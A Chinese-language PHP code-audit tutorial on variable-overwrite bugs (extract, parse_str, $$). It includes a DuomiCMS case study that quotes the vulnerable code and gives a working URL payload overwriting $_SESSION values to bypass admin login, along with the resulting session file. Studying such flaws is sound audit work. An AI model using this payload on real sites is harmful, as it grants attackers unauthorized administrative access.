PHP代码审计7-变量覆盖 #
变量覆盖
尽量找配置文件的,因为大量文件都会包含配置文件
extract :
parse_str()
import_request_variables()
$$ : 比如 $a='b' $b=123 echo $$a=123 相当于赋值a=b变量
关键代码如下不用声明变量很方便但是有安全危险 通过$$_request 造成了 $_GET $_POST 然后通过键值对来对变量赋值
foreach (array('_COOKIE','_POST','_GET') as $_REQUEST) {
//$_REQUEST $$__REQUEST=$_COOKIE $_POST $_GET
foreach ($$_REQUEST as $_key => $_value) {
//echo $_key.'<br />';
$$_key=$_value; //比如?a=2 就是 $_key=a $$_key=$a 意思就是给变量赋值
}
}
echo $b;
echo $a;
案例一:DuomiCMS 变量覆盖 #
duomiphp/common.php 下面有代码
但是仅仅就是赋值 但是我们可以用来写入内容 比如session
利用session要找到session 代码session_start
就是说要包含这里代码
session_start();
require_once("../duomiphp/common.php");
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
看看他的验证代码
duomiphp/check.admin.php
就是说保持会话的话呢
$_SESSION[‘duomi_admin_id’]
$_SESSION[‘duomi_group_id’]
$_SESSION[‘duomi_admin_name’]
若这三个 Session 变量存在且有效(非空),则认为用户已登录,并通过这些值获取用户身份和权限;
就是说正常下:
验证账号密码通过后,将数据库中查询到的 userID(用户 ID)、groupid(权限组 ID)、userName(用户名)存入 Session,后续请求通过读取这些值识别用户
var $keepUserIDTag = "duomi_admin_id";
var $keepgroupidTag = "duomi_group_id";
var $keepUserNameTag = "duomi_admin_name";
function keepUser()
{
if($this->userID!=""&&$this->groupid!="")
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen($admincachefile,'w');
fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
fclose($fp);
return 1;
}
else
{
return -1;
}
}
_SESSION[duomi_admin_id]=1&SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
_SESSION[duomi_admin_id]=0&SESSION[duomi_group_id]=0&_SESSION[duomi_admin_name]=0
访问有两行代码的文件
http://localhost:919/member/reg.php?_SESSION[duomi_admin_id]=1&SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
这时候session已经产生了
再访问admin就可以直接进入
看看session文件
duomi_admin_id|s:1:"1";
duomi_admin_name|s:5:"admin";
duomi_ckstr|s:4:"vadh";
duomi_ckstr_last|s:0:"";
产生session的原因
1:请求到达服务器,session_start() 执行
如果你是首次访问(没有 PHPSESSID):PHP 会生成一个新的 Session ID(如 sess_xxx),并在服务器的 Session 目录(通常是 /tmp 或配置的 session.save_path)创建对应的空文件(如 sess_xxx)。
如果你已有 Session ID(浏览器保存了 PHPSESSID):PHP 会直接打开对应的 Session 文件(如 sess_xxx),准备读取 / 修改其中的数据。
2: 变量覆盖漏洞将注入参数写入 $_SESSION 写入对应的数值到session中
原理就是自己可以写入数据到session中去了, 相当于 “跳过了服务器的正常验证流程,强行将本应由服务器写入的数据,用自己的输入覆盖进去”。
判断 “是否已登录” 的隐含逻辑 非空就可以
_SESSION[duomi_admin_id]=&SESSION[duomi_group_id]=&_SESSION[duomi_admin_name]=当是这个时候就不行了你改为0都可以
duomi_admin_id|s:1:"0";duomi_admin_name|s:1:"0";duomi_ckstr|s:4:"cinm";duomi_ckstr_last|s:0:"";
反正有值就可以进去